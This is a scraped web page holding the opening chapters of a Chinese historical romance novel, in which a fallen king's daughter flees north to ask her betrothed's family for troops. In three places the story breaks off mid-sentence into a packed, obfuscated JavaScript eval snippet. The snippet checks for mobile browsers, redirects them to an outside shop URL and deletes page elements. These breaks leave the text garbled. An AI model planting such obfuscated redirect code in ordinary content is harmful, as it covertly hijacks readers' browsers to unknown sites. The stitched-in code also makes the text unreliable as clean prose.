《改嫁小叔子后亡夫回来了》 1. 第1章 家国破 嘉州破了。 残阳如血,映照着断壁残垣。 曾经繁华富庶,人流如织的蜀中,如今横七竖八地堆叠着插满箭矢的尸首,大火烧了三天三夜,风过处,全是皮肉焦糊的气味。 城墙之上,象征乐山王的“谢”字王旗已然残破。 一队残兵护卫着一名缞麻重孝的女子,正沿着岷江岸边的崎岖小径,向北疾行。 不知多少个日夜,谢云姝身上的孝服已被沿途荆棘刮得褴褛。 “袖袖,走!”父王最后的声音嘶哑,混着刀剑刮过骨头的声响,“去北燕,找萧晏……他会为你、为蜀中…讨回公道....” 自周室衰微,皇纲失统,天下便陷入群雄割据的乱世局面。乐山王谢蕴凭借蜀中天险与仁政民心,在此称王建制,本是乱世中一方净土。 不料曾与父亲歃血为盟的公孙袭却见利忘义,打着“振兴周室”的旗号号令各方诸侯围剿蜀中。 为了给城中妇孺撤离争取最后的时间,父亲亲率死士断后,身中数箭,犹自拄剑立于城头,直至流尽最后一滴血。 可结局,依旧于事无补。 “父王....”谢云姝泣血的声音被狂风卷散,那个曾经屹立如松的身影如山崩般倾颓。 她的眼泪已经流干了,只留一双眼窝深陷的眸子,黑得骇人,映着身后故土冲天的火光。 自从他们突破嘉州围困北上,公孙老贼派出的杀手便如影随形。这一路,过剑门,穿米仓道,渡汉水,百余人的队伍,如今只剩下副将李忠和三五亲卫。 李忠的左臂软软垂着,一道深可见骨的刀伤从肩胛蔓延至肘部。伤口留着脓血,触目惊心。 他喘着粗气,却仍紧握着一把卷了刃的横刀。 “李叔,你的伤……”连日奔逃和心力交瘁,已让她玉容憔悴,唯有一身骨气还硬撑着。 “无妨。”李忠警惕地扫视着山林,“女姬,穿过前面那片林子,就是北燕地界了。萧家的哨卡应该不远。” 他顿了顿,回头看向谢云姝,眼神复杂:“只是北燕内部宗派较多,如今蜀中失陷,他们未必乐见萧家出兵…” 谢云姝指尖掐进掌心,她何尝不知。 若能得萧家铁骑南下,公孙老贼确实不足道哉。可一年前北燕的军队打到江左,过了置厝,离蜀地边防不过十里路程,萧晏也没来登门拜访。 可见光阴流转,谢萧两家情况早已今非昔比。 但蓉城之困迫在眉睫,哪怕只有一丝希望,她也要试一试! 这时—— “女姬,小心!” 浑身浴血、甲胄破碎的副将李忠她拉至一块巨岩之后,整个身形死死地护住她。几乎同时,数支弩箭破空而来,笃笃钉在他们方才站立的位置。 谢云姝惊魂未定间,数十名黑衣死士如鬼魅般出现。 他们刀光凌厉迅速,令人丝毫无反应之机,仅存的几位亲卫顷刻间倒下。 “女姬,走!” 李忠嘶声厉喝,几人复行不过百步,脚下的路却戛然而断。 前方,是一道悬崖。 两峭之间,湍急的水流犹如蛰伏的巨兽在底下奔腾咆哮着。而那唯一横跨两崖的吊桥,早已残破不堪,只余几根腐朽的绳索在风中摇晃。 前有悬崖,后有追兵,他们已经走入了绝境。这时,李忠身影猛然顿住,他闭了闭眼,白发飞扬。 然后他将一个浸透鲜血的包袱塞进谢云姝怀中,粗布散开一角,露出一把刻着“萧”字的短剑,和半块作为婚约凭证的龙凤玉佩。 “女姬,我记得你会泅水。你快带着这信物走,蜀中的未来就托付给你了!” “不...”谢云姝下意识地摇头,可是已经来不及。李忠对着她微微一笑,视死如归。那双布满厚茧的手轻柔而决绝地推了她一把,下一秒,谢云姝瞳孔睁大。 只见他被数把长剑同时贯穿身体,剑尖的一滴血朝崖下滴下来,落在她的眉心。 “女姬,活...活下去...” …… “不...” 落水那一刻,冰冷的几乎要将她的五脏六腑给拍碎。无数细密的箭矢射下来,在水下形成一道道细柱从她身边穿过,暗上还有叫嚣之声,“捉住她! 谢云姝惊惧万分,咬着牙,借着夜色和水流向下游漂去。千万不能被他们抓到,不然李叔就白死了。 往前游,不能停! 她心中只有这一个念头。 入了北燕地界,天气斗转严寒,不知过了多久,身后喊杀声渐息,“再追下去,就到北燕地界了...” 反复确认安全后,谢云姝才敢从水面上冒出头来,挣扎上岸。她全身已经被河水泡得发白脱力,衣衫被浸透,被夜风一吹,冷得刺骨。 她遥望周围,眼前是一片陌生的旷野,暗得无边无际。好累,好困!可只要一阖眼,面前就是一片流不尽的血海… 不行! 蜀中父老还在叛军铁蹄下呻吟,怀骠将军卫期率领三千守卫,依旧在死守蓉城。母亲和弟弟,还在等着她搬来救兵。 她绝不能倒下! 谢云姝牙关打颤,全凭着一股不肯熄灭的心火,在黑暗中一寸一寸,艰难地向前。 ...... 不知走了多久,远方的城关终于在夕照中显出巍峨轮廓,是北燕! 暮色四合,斜阳将云层染成一片殷红,如血如荼地泼洒在天际。苍灰色的城墙沉默地矗立在北燕的边境线上。城楼下,“蓟州”二字在残阳中映入眼帘。 蓟州,是北燕的都城。 “站住!” 忽然间,寒光一闪,两柄长戟交叉拦在她面前,守城士兵睨着她狼狈的模样,语气十分凶横,“自上月起,北燕城中已不再接收贾鲁的流民。” “你是从哪里来的?” 谢云姝衣衫褴褛,默不作声。看这些守城士兵剑拔弩张的架势,恐怕不久前蓟州城内发生了什么大事,才令他们如此草木皆兵。 守城的士兵见她惊恐地指了指自己的嗓子,又咿咿呀呀地比划着些什么,才稍稍放下手中的武器。 “原来是个哑巴!” “滚远点!”士兵下手去推,动作粗暴。 谢云姝身体发虚,她被推得瘫软在地,只能爬似地蜷缩到外墙脚根,靠城墙来抵御一点北地刺骨的严寒。 好冷,好饿... 饥饿像一头野兽在她的腹中搜肠刮肚,她既痛苦又自责,眼角不自觉地泛起泪花。 这时,一个沾着灰土的包子滚到她脚边,在寒气中散出微弱的热雾。 “吃吧。” 谢云姝眼眶湿意瞬时褪去,她警惕地循声望去。只见一旁的灰色草垛里,窝着两个人。一大一小,骨瘦如柴,肤色暗得快和城墙融为一体。 小的那个,才八九岁,缩在草垛里看她,“吃饱了就不哭了。” “狗蛋!”年纪稍大的那个女孩,约莫十三四岁,狠狠地打在他的手上,“我好不容易才偷到的包子,她吃了,你就要饿死!” 小女孩看向谢云姝的眼神,冷漠空洞,仿佛在看一个死人。 谢云姝连手都是抖的。 她用力将手上的血迹和污渍擦干净,双手捧着包子递回去,压低身子看向草垛里的那个小男孩,“你吃,姐姐不饿。” 小男孩闻言,不自觉地舔了舔干裂的嘴唇,一双眼睛死死黏在包子上,喉结上下滚动,瘦小的身子却畏惧地缩了缩。 “狗蛋给你,你就吃吧。”她撇过脸去,谢云姝的手打回去,恶狠狠地道:“大不了我明儿再去偷。” 谢云姝心头微涩,目光所及,是女孩裸露的手臂——那上面几乎没有一块完好的布料,纵横交错的伤口衬得皮肤触目惊心。 这世道,穷苦人实在多。 她撕下一小口,将那大半个包子推了回去。再看向那对姐弟时,眼前已一片模糊,“谢谢……” 女孩盯着她的泪眼,愣了一下,“哭什么, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“你认得我?”他蹲下来,声音有些慵懒。 谢云姝困难地抬头,眼眸与他对上的瞬间不禁微讶,他的眉眼轮廓与记忆中的萧晏好像。可仔细看,却截然不同。萧翊的眼眸中少了点儿端方持重的温润,多了几分纨绔与阴郁。 身后,他的贴身护卫嗫嚅着,“该不会是二公子以前留下的风流债吧。” 谢云姝奋力抬起沉重的眼皮,”带我去见你哥。” 闻言,萧翊的眼神霎时变得锐利,下一秒,一把金光的匕首抵上谢云姝的脖颈,“你是谁?” 他眼神里的光太过骇然,谢云姝嘴唇翕动着,急得只能挑重点:“我是乐山王谢蕴之女谢云姝,你未来的嫂嫂!” “我有信物为证。”她伸手去取腰间的玉佩,身后的护卫却已经亮出剑鞘,寒光凛冽。 “二公子,当心暗器!” 萧翊闻声垂眸,他伸出手,攥住她的手腕拉她起来,“地上凉,起来再说。” “多谢。”谢云姝的心防卸下半分,抬眸间,两人的视线对上。 萧翊眸光幽深,头微微倾过来,“可我从未听过兄长与人有过婚约。”他嘴角露出一抹讥诮的弧度,“我要怎么相信你?” 这人是铁了心要与她过不去?谢云姝咬着牙一字一句,绝不惯着,“二公子,你们北燕萧家的事,也不见得事事问过你吧。不知道,很正常。” 她疲惫,却漫不经心的挑衅瞬间让眼前之人的脸色暗了下来。 谢云姝从小到大说话都最擅长在人心口上插刀子,所以无论是谢晋还是谢挠都没法在她面前讨得了好。 萧翊阴沉着脸转身上马,“周剑,若城防之下还出现上次那样的事情,小心你的脑袋!” 随即他扯动缰绳,骏马长嘶一声踏起一片烟尘,头也不回地没入城门深影之中。 尘土飞扬间,只剩下面如死灰的谢云姝,和一群虎视眈眈的士兵。 “他,真就就这么走了?” “老大,那她怎么处置?” “周少的意思还不明显么?宁可错杀,不可放过!” …… 2. 第2章 搬救兵 “原来你会说话?”夕阳西下,士兵冰冷的刀刃重新紧贴上谢云姝的脖颈。 “官爷...”谢云姝正欲再理论几分,忽然,一阵狂风卷起城门的旌旗,那匹骏马疾驰而返,一个急刹,马蹄高高扬起,萧翊拉着缰绳在她面前原地转了一圈,居高临下:“我想了想,难得有位痴心女子爱慕大哥,正好我们同路,顺道捎你一程也不是不行。” “周剑,这个人我带走了。” 他大手一揽,直接将人拦腰抱上马背。随后轻夹马腹,往城内而去。 谢云姝此时心力交瘁,已经顾不上男女之防。只有苍白的唇微微开合,逸出几不可闻的嗫嚅。 “嗯?” 萧翊俯身凑近,却听见她唇齿之间用尽最后气力挤出的两个字:“有……病!” 短暂的凝滞之后,头顶传来一声嗤笑。 那笑声渐渐荡开,混着夕阳与扑面而来刮脸的冷风,一路飘进蓟州城内慢慢亮起的街道灯火中... -- 天,彻底黑了,蓟州城亮起万家灯火。 迷迷糊糊中,谢云姝感觉自己被灯火包围着。 这光,真暖和啊。 像极了嘉州家中,父王书房里那盏常亮的夜灯…… “父王,母亲...” 刹那间,天旋地转,眼前景象寸寸碎裂。 浓郁的血腥气扑面而来,取代了北燕街巷的清冷空气。 谢云姝怔怔地站在原地,看着李忠踉跄着扑跪在她面前,“女姬!老臣…老臣该死!未能护住主公....” 他染血的额头重重磕在冰冷的砖石上,发出沉闷的响声。 从嘉州到蓉城,数十里天险栈道,是老将李忠背着父亲的尸骨,爬着、挪着,用尽最后一口气,才叩开了蓉城的城门。 她伸出颤抖得不成样子的指尖,试图擦去父亲脸颊上那些已经凝固发黑的血污。 可那污迹如同烙印,怎么也擦不干净。 “……王叔和洛将军何在?”她看见自己的嘴唇机械地动着,发不出一点声音。 李忠的哭声更加悲怆:“安远将军半月前率麾下精锐追击公孙袭残部,至今音讯全无...” “洛将军在江潼关与陈州刘显、符州葛威鏖战三日,最终……斩断潼桥铁索,与敌军同坠虎渊涯,生死不明……” 远处传来士兵的阵阵凄厉哭嚎,谢云姝抬眼望去,蜀中如今已成人间炼狱。 正在这时,又一名亲卫踉跄着狂奔而来。 “女姬——!大事不好!!” “绥远侯…绥远侯谢晋已带着一众宗亲,将少主和夫人围在了正殿!他们口口声声说少主年幼,不堪重任,要…要即刻废立,另立新主!” 血色弥漫的战场,父王轰然倒下的身影,母亲空洞的眼神和幼弟被强行拖走时迷茫的哭喊… 还有嘉州城冲天的火光与百姓绝望的哭嚎…… 所有画面扭曲、交织,化作最深的梦魇,将谢云姝紧紧缠绕,让她挣不脱,喘不过气。 “不……不要……!” 耳边传来细细密密的脚步声,和小声交谈的呢语,不知过了多久,谢云姝猛地睁开眼,胸口剧烈起伏,额上也沁出细密的冷汗。 屋内静谧,一缕清雅中带着微苦药香的熏烟袅袅升起。 她下意识攥紧了手,指尖陷进柔软的织物里——不是冰冷的石阶,也不是颠簸荒野上的枯草。 映入眼帘的是一顶素雅却不失精致的雕花床帐,细软的绸缎如水般垂下。而她整个人,被温暖厚实的被褥包裹着。 她低头看去,发现自己已换上了一身干净的素白中衣,衣衽样式虽与蜀地不同,倒也不奇怪。 她这是在——萧府? 突然,谢云姝猛地想起什么,目光四下翻找,直到看到床头边那个沾满尘土的包袱,才略微松了口气。 短剑和玉佩的触感冰凉,也时刻提醒着她此行的目的。 “醒了,姑娘醒了!” 一个穿着水绿色比甲、模样伶俐的小丫鬟见状面露惊喜,转身就朝外间轻快地跑去,“快去禀报老夫人、夫人,姑娘醒过来了!” 须臾之后,屋外传来了一阵急促却不失沉稳的脚步声,数道身影一齐走了进来。 谢云姝下意识攥紧了指尖。 她在嘉州时,只听母亲偶尔提及北燕萧家的威名。除了萧晏,她从未见过任何一个真正的萧家世族中人。 此刻望着鱼贯而入的身影,谢云姝只觉得胸口发闷,心跳也沉了几分。 她自幼随性惯了,父王与母亲从不拘着她,可这一刻,她却怕自己一个不慎失了礼数,让此番求兵之事更加艰难。 谢云姝暗暗吸了口气。 眼下,唯有静观其变。 这时,一行人已进了内室。 为首的老妇人身着赭色纹锦缎裳,虽由丫鬟搀扶着,步伐却不见蹒跚。 她行至近前,端详着谢云姝,面容慈祥地温声道:“孩子,你昏睡了三日,可把我们担心坏了。” 语调和煦,却自有一股沉淀岁月的力量。这位,便是执掌北燕萧家数十载,威震全府的萧老夫人。 “听晏儿说,你小名叫‘袖袖?” “回老夫人,正是。” “袖藏兰蕙,心纳乾坤,这名字好!袖袖,你的父亲对你寄予了厚望吶。” “我常听晏儿提起你,说你心境澄澈,不为俗世污浊所染。今日一见,果然如此。晏儿将来能娶到你这样的女子,是他的福分。” 她微微颔首,声音放得轻而稳:“老夫人过奖了。” “只是不巧了,半月前蓟州下游贾鲁河一带流民骤增,情势复杂,晏儿需得亲自前去处置,至今还未归。” 谢云姝了然,难怪她的目光扫视了几遍,都没见到萧晏的身影。 她原以为,是萧晏故意避而不见。 谢云姝抿了抿唇,语意微顿,“不知,怀瑾哥何时能归来?” 萧晏现在是萧家少主,关于求兵一事,她最好还是和萧晏谈。 “快了,快了。” 老夫人应着,眉眼间却掠过一丝不易察觉的忡忡,显然前方情势并非如此轻描淡写。 贾鲁流民... 谢云姝想起三日前守城兵士的反应,难道那些人中出了什么岔子? 片刻沉默后,老夫人神色复又和煦,甚至带上几分打趣的笑意:“丫头,你莫要心急,你与晏儿是早就定下婚约的。” “待他回来,我便请宗族长老,为你二人择一个良辰吉日,早早将你二人的婚事定下,如何?” 谢云姝袖中指尖悄然收紧。 良辰吉日? 蓉城烽火未熄,将士浴血待援,她哪还有心思谈论婚礼之事? “对了,你的父亲母亲,如今可还安好?” 谢云姝闻言,心中被狠狠刺痛。她竭力想忍住,可回想起父亲壮烈牺牲的惨状,泪水便如决堤一般,止不住地涌出来。 事态紧急,她甚至等不到萧晏回府再议。 谢云姝强撑着从榻上起身,眼尾薄红,她郑重地敛起裙裾,道:“承蒙老夫人厚爱,云姝十分感念。只是云姝此番冒死北上,实则是有一事相求……” 她膝盖尚未及地,一道身影已迅捷而端庄地越过老夫人,稳稳托住了她的双臂。 那力道恰到好处,既阻了她下拜,又不失礼节。 “姑娘万万不可,”妇人声音温厚,却带着不容转圜的意味。 “你身子正虚,医官再三叮嘱需静心休养,万事都不及身体要紧。” 谢云姝抬头一看,那妇人年约四旬,气质却雍容端庄,仪态贵重。想必这便是萧晏的母亲,徐惠。 虽说萧氏能有今天,全靠萧家先祖骁勇,萧老夫人明理得势,洞悉天下。可这位徐夫人,却是真正让萧家坐稳北燕三族之首的不二功臣。 北燕状况,与蜀地不同。 北燕地形环抱邺京,多年来占据中原之上最肥沃之地,势力盘根错节。在这片土地上,盘踞着萧,魏,梁三大家族。 这三大家族祖上同宗,百年前一致对外共同歼灭了北燕王室。可子孙继后,三者互相牵制,谁也无法真正统一整个北燕。 十年前,北燕三族遭奸人挑拨,致使魏梁两家大开睢西关城门,引外族洛氏伏击萧将军的五万大军。 是徐夫人与萧老将军,里应外合,定下声东击西之计,退兵三十里,才成就了萧家如今的局面。 “夫人...”谢云姝欲开口,徐夫人却倏地一呵斥,打断她的话头,“是你自个儿进来,还是我请你进来?” 谢云姝心中急切,却也只能循着徐夫人的眼神往门槛外看去。只见屋外一道人影 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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如今,魏梁两家在北燕抱团,将萧家视作了眼中钉。若是贸然出兵南下,很有可能会打破北燕三族之间的平衡。 谢云姝抬眸与她对视一眼,心中已凉了大半。这块烫手山芋,只怕徐夫人是不肯接的。但这样一来,蓉城万千将士和百姓的死活,又将何去何从? 纵然早有准备,她心口仍沉了一下。她说不出话来,随侍身侧的婢女仆从们也各个噤声,于是满室寂静。 僵持了好一会儿,一声几不可闻的叹息自床榻边低低地传来。 萧老夫人抬起那双历经风霜的眼眸看向谢云姝,有些无奈地道:“孩子,你祖父于萧家有恩,如今蜀中有难,于情于理,萧家都该倾力相助。可是...” 老夫人语顿,怅然望向窗外天际,“并非萧家不愿出手,而是我们...” “母亲!” 徐夫人眼神骤然惊惧,几乎是失声打断,试图阻止萧老夫人即将脱口而出的话。 萧老夫人面色不悦,低声斥责过去,“袖袖迟早是晏儿的妻子,这些事情何必瞒着她?” 说到此时,萧老夫人忧心忡忡,“想必你也听说了,数月前黄河泛滥,大量灾民涌入北燕。” “他们,不属于我北燕子民,可晏儿心慈,不忍百姓流民失所,于是大开城门接纳他们。可魏梁两家竟派刺客混入灾民之中,趁机对晏儿行刺...” “什么?” 话音未落,谢云姝已霍然起身,她急声追问:“竟有这等事?怀瑾哥伤势如何?现在人在何处?!” 徐夫人蹙眉,语气愈发不悦:“谢小姐,你若是再大声点儿,恐怕不出半日,整个蓟州城都知道了。” 谢云姝脸上有些火辣辣的,她难以置信在此天下动荡之际,魏梁两家竟愚蠢至此,不惜自毁长城也要对同宗亲族下毒手。 对这种人,天若不亡其,日后也必自亡之。 萧老夫人伸出布满皱纹的手覆在她之上,安抚道:“好孩子,你别急。北山有处隐秘的山泉别院,晏儿遇刺时便被秘密送往那里,已有神医随行救治,性命当是无碍的。” “只是如今,魏梁两家蠢蠢欲动,北燕内部乱做一团...” 谢云姝抬眸,语气温柔坚定,“老夫人,可否带我...去见怀瑾哥一面?” 正说着这话,门外传来一阵急促的脚步声,一名心腹侍从的声音隔着门扉响起,带着几分不易察觉的惊喜。 “老夫人,夫人!少主回来了!” 3. 第 3章 萧晏 厅中烛火猛地一晃。门扉洞开,夜风裹着北地深秋的寒气卷入。 众人纷纷望去,谢云姝也抬起眼眸—— 檐梁之下,一道颀长挺拔的身影逆光立在庭前。玄色大氅被风拂动,萧晏缓缓走入厅中,他身形虽因病而略显清减,肩背却依旧笔直,动作沉稳。 待走近些,跳动的烛火在他的脸上印出清俊的轮廓。 他脸色有些苍白,眼下带着连日奔波未眠的淡青,唇色亦淡,却丝毫不折他眉宇间的清贵之气。 思绪被拉长,不禁想起五年前丽州城的那个夜晚,他们的初遇。 当晚,城内发生了一场针对某位高官的暴乱。暴动的流民与镇压的官兵混杂,将街市搅得天翻地覆。她在奔逃中被人群推搡,跌入一条暗巷,几乎是同时,一个带着清冽气息的身影也闪了进来,力道不轻,与她一同撞在冰冷的墙壁上。 彼时,他正好被人追杀。 追杀他们的人,正是南朝令人闻风丧胆的狄沙族,一个异教暗杀组织。 “别出声。”黑暗中,少年压低的声音在她耳边响起。此时巷外充斥着杂沓的脚步声、兵刃交击声和呵斥声,而她只听得见彼此急促的呼吸。 下一秒,他们被人发现。 刀光乍起的瞬间,她的脸被其中的一名杀手看清。 “走!”萧晏猛地攥住她的手腕,不得已只能带着她一起跑。 后半夜他们终于甩开刺客,来到了城郊外一座破庙,此时夜雨滂沱而下,寒意刺骨。谢云姝靠坐在斑驳的柱础旁,冷得微微发颤。 萧晏沉默地解开半湿的外袍,罩在她有些发抖的肩上,“别担心,有我在不会让你死的。” 谢云姝冷得跺脚,抬眸道:“本就是你惹来的杀手,若不是你,我怎会受了无妄之灾?” 说毕,她打了个喷嚏,将他的外袍拢得更紧。 出来太急,穿得太单薄了。 她冷得要死。 一声低笑自头顶响起,“说得也是。” “今夜姑娘为我所累,我一定负责。”他将一枚触手温凉的白玉哨子塞入谢云姝手中,“以此为信,日后若遇难处,可来北燕寻我。” 那一夜格外漫长,直到天光微熹,他们也不曾互通姓名。 可那双眼睛,她记了很久。 天亮后,萧晏将她送至安全的驿站,然后转身投入渐散的晨雾中。 那时,她没想象到,他们能这么快再见。 原来,他是父亲为她选中的婚姻对象。 那个时候,萧晏年少成名,战功赫赫。他的名字,在边境线上便是半面旌旗、一道雷霆,无人不晓,无人不惧。 她还记得那年春天,满树梨花如雪,萧晏一袭白衣胜雪,立在纷飞的花雨中对她承诺:“云姝,待我他日南下,定以八抬大轿风风光光迎你入我萧家之门。” 那时候,他望着自己的眼眸,灼灼如星,一如现在。 ...... 回忆如潮水般褪去,萧晏的脸庞复又清晰地呈现在她面前。 “云姝,”他开口,声音略显沙哑,却清晰地唤出她的名字,“好久不见。” 四目相对间,谢云姝心口微滞。是啊,乐山一别,他们已有三年未见。萧晏微微颔首,随即转向两位长辈,依礼请安:“祖母,母亲,让您们忧心了。” 萧老夫人心疼道:“快别多礼!你的伤…” “无碍,只是皮外伤,将养几日便好。” “皮外伤?”徐夫人心中不忿,眼前又浮现出那惊心动魄的一幕。 “那日你遇刺,刀子离你的的心口只差分毫,医官都说若是再偏上一丝,便是回天乏术。” 萧晏语气平静,打断了母亲的担忧,“祖母,母亲,我有些话想与云姝单独谈谈。” 徐夫人声音有些沉,“晏儿!你伤势未愈,有什么事不能明日再…” 对于儿子带伤赶回来见谢云姝一事,她颇有微词。 “好了,”萧老夫人却轻轻拍了拍徐夫人的手,“他们年轻人自有话说,我们两个老婆子就别在这里碍眼了。” “母亲,我...” 萧老夫人神色微动,语气便有着不怒自威的震慑,“走吧。” 徐夫人看了谢云姝一眼,终是叹了口气,无奈跟上。房门门被轻轻合上,隔绝了外界的寒风,偌大的厅堂,瞬间只剩下他们二人。 萧晏向前一步,靠得近了些,衣氅上的寒意淡淡萦绕在两人之间。烛火中,他凝视着她,眼神细细描摹她较之几年前清减的容颜,“云姝,你瘦了。” 他稍作停顿,终是提起了那个沉重的话题:“我已知晓南边局势,关于你的父亲......” 谢云姝眼眶倏然泛红,却强忍着不让泪水滑落,“父亲为了蜀中百姓与敌军战到最后一刻,虽死犹荣。” 他是她蜀地的英雄,也是她心中永远的英雄。 “节哀。”萧晏的声音放得极轻,“我曾向你父亲承诺,要护你一生无虞。从今往后,这里便是你的家。” “家”字落下,谢云姝心头猛地一刺。 她的家永远在蜀地,在那片青翠的山川之间。可如今,那片土地正饱受战火的蹂躏。她应当开口求他出兵,这是她此行的唯一目的。 可话至嘴边,谢云姝却有些说不出口。她如何能开口?徐夫人的话说得很中肯,萧家如今同样强敌环伺。 就在这片刻的沉默间,萧晏却已敏锐地洞察了她的挣扎。他的目光沉静如深潭,道:“云姝,我愿即刻调兵南下,助你击退公孙袭,光复蜀中。” 谢云姝倏然抬眸,“什么?” …… 惊喜、惶惑与感激在胸中翻涌。 她原以为,久别重逢少不了一番周旋算计,她要用尽筹码去换他出手,直到将那点旧日情分也消磨殆尽。 可萧晏没有。 他没有虚与委蛇,没有避而不见,只是真切地看见了她的困境,然后毫不犹豫地伸出了手。 此刻,所有的情绪混乱地交织在一起,谢云姝什么话都说不出来了,她只知道呆呆地望着他。 “云姝,”烛火下,萧晏的看着她的眼眸里有些微光波动,“别这么看着我。” 他声音低沉,“我是有私心的。” 随即,萧晏语气变得怅然,“自王室覆灭,北燕三族暗中的交锋便无休止,百姓夹在三族势力中,兵不得安其军,农不能耕其田,致使北燕国力渐弱....” 他望着窗外黑暗的一片,眼中锐意凝聚。 “我早已无法忍受这般局面。” “发兵南下,虽然可能给魏梁两家可乘之机,但我相信有母亲,有阿翊在,他们定然能稳住局势。相反,此战若胜,萧家军便可借此打通西南关隘,进而掌控西南十六州…” 说这话时,萧晏的眼底如有星火燎原,“终结内乱,重塑秩序,这既是为了北燕的未来,亦是我必须踏上的道路。” 谢云姝怔住了。 北上求援之前,她并非没有权衡。 倘若萧晏凭借蜀中天险控制了西南十六州,届时岂止是北燕,整个天下都将会是他的囊中之物。 向萧氏求助,何尝不是另一种意义上的开门揖盗?但她别无选择,弟弟年幼,宗亲无德,蜀中危如累卵,她只能在绝境中寻找一线生机。 萧晏心中有江山,有兵锋,有吞吐天地的志向,他生来便是要凌霄御宇、纵横四海的。 与其让残暴不仁的公孙袭铁蹄践踏,屠戮蜀中百姓,她宁愿将全部赌注押在萧晏身上。赌他胸襟足以容下万民,赌他兵锋过后仍存仁念,蜀地的将士们能在他的大业之下得到一个善终。 只是她不曾料到,萧晏竟会如此坦荡地将野心铺陈于她面前。 过了许久,谢云姝才听到自己声音微涩,道:“你打算如何做?” 从北燕到蜀地,兵马疾驰最快也得十日。她孤身北上时,已经浪费了太多时间,此时若从蓟州出兵,必然延误军机。 唯有从离蜀地不远的置厝借调兵力,方算可行。 置厝离蓉城不到二十里路程,可四周却被公孙袭包围,想要突围也很困难。 更何况,一旦萧家出兵,与萧氏有仇的江左陈氏定然会全力阻拦。 萧晏闻言,微低下头看她,“云姝,我了解你。你既存了北上求救的心,蜀中之困必然已有解。” “我想听听,你的看法。” 四目相对,谢云姝从他的眼中看到的是全然了解与信任。 挣扎几分后,谢云姝转身,从包裹中找出一卷羊皮地图,缓缓展开后,她的指尖点向蓉城东北方向。 “公孙袭纠集十万联军,看似铁板一块,但其主力乃陈州刘显、符州葛威以及公孙本家三部。刘显贪利,葛威多疑,公孙骄横——三人联盟犹如三足鼎立,缺一即倾。” 二人移步桌前,谢云姝取过案上三只茶盏,代表这三方势力。 然后,她的手指指向了其中一杯盏。 “陈州军远征粮草最吃紧,若派死士潜入其粮道散布谣言,称符州军欲与公孙袭瓜分陈州,同时让细作在葛威营中‘不慎’泄露公孙致刘显密信,提及战后独占江陵盐铁之利…” 萧晏:“空口离间,他们岂会轻信?” “所以要有实招。”谢云姝眸光一转,如刀出鞘,“待你与置厝军取得联络,便可选一日子时,派一支轻骑打着刘显旗号突袭葛威左翼——不必死战,劫掠些粮草即可撤退。” 她将第三只茶盏重重扣在中央。 “葛威生性多疑,必认为公孙氏与刘显想要过河拆桥,分吞蜀地。届时我们再开放东门,容刘显部下追击,佯装撤退。届时三军内乱一起……” 她突然收声,指尖划过地图上联军大营的位置,轻轻一划。 “——便是火并之时。” 许久,萧晏凝视着她方才划过地图的指尖,然后目光转到她身上,带着毫不掩饰的叹赏。 “我一直知道,乐山王的女儿,从来不是需要人呵护的笼中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16659105|188353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 雀。” “云姝,你若是个男子,恐怕早已建功立业,即便是这天下也可一争。” 谢云姝轻笑,“届时,你我可就成敌人了。” “云姝,我永远不会是你的敌人。” 谢云姝则悲观地多,”在家国利益面前,谁又说得准呢?” 萧晏看着她,只是笑了笑,并未说话。 谢云姝也抛开这些思绪,重新思忖道:“只是...”她凝视着这地图上的某一处,“我尚不知晓你在置厝的驻军有多少,倘若那时蜀地东门开放,敌方三军破釜沉舟,我们是否能顶得住他们的攻势?” 萧晏答道:“这你无需忧虑,置厝守军至少有五万。” 谢云姝眼皮一跳,这个数值远远超过了远地驻扎军的标准。萧晏...究竟是早料到会有这么一天,还是早就在盘算着,以置厝为中心纵横南境? 她压下心底的不安,抬眸道:“早听闻怀瑾哥治军有方,军中尽是精锐可以一敌百,既如此,我便放心了。” -- 二人聊完,夜已深。 “对了,你方才已经见过我弟弟了?”萧晏似想起什么,又提了一嘴。 “嗯。” “他怎么样?” “什么?”谢云姝有些不明所以。 萧晏轻轻一笑,“回来途中,我听长生说了,那小子在城门口对你不敬,已经被母亲狠狠训过了。他本性不坏,你莫要怪他。” 谢云姝根本没心思计较这些,“二公子人挺好的。”总不能说,她怀疑萧翊其实表面一套背地里一套吧。 萧晏闻言,眉头轻轻挑了一下。 “怎么了,我说错话了?” “没有,”萧晏摇摇头,“不过你是第一个这样说的人。其实阿翊很聪明,五岁便能背诵兵书,七岁已通晓策论,只是他的身世,一直是母亲心中的痛...” 他长萧翊五岁,两人是同父异母的兄弟。 当年萧将军与徐夫人本是少年夫妻,鹣鲽情深。恰逢徐夫人为周旋魏梁两家耗尽心神之际,府中一个丫鬟受魏家指使,趁虚而入爬上了萧将军的床,意图离间他夫妻二人。 徐夫人那时正怀着期盼已久的女胎,闻讯后悲痛欲绝动了胎气,虽拼死生下孩子,终究没能留住那个早产的女婴。 不出两月,萧翊降生,而他的生母被当场杖毙。可丧女之痛,背叛之怨,并非死一人便可消解... 从他记事起,他便知道自己的生母出生低贱且有异心,他的嫡母因此痛恨他,不准他习武,也不准他读兵书,更不准他像大哥那般随父出征。 他虽为萧府二公子,却活得像府中一道被人刻意模糊的影子。 “这些年我常在外奔波,即便回到蓟州也多半待在公署,对他确实疏于管教。再加上母亲对他时有苛责,他连带着对我、对我身边的人都生出了敌意。” “看来,我也没能例外。”谢云姝轻声接话,语气里带着几分调侃。 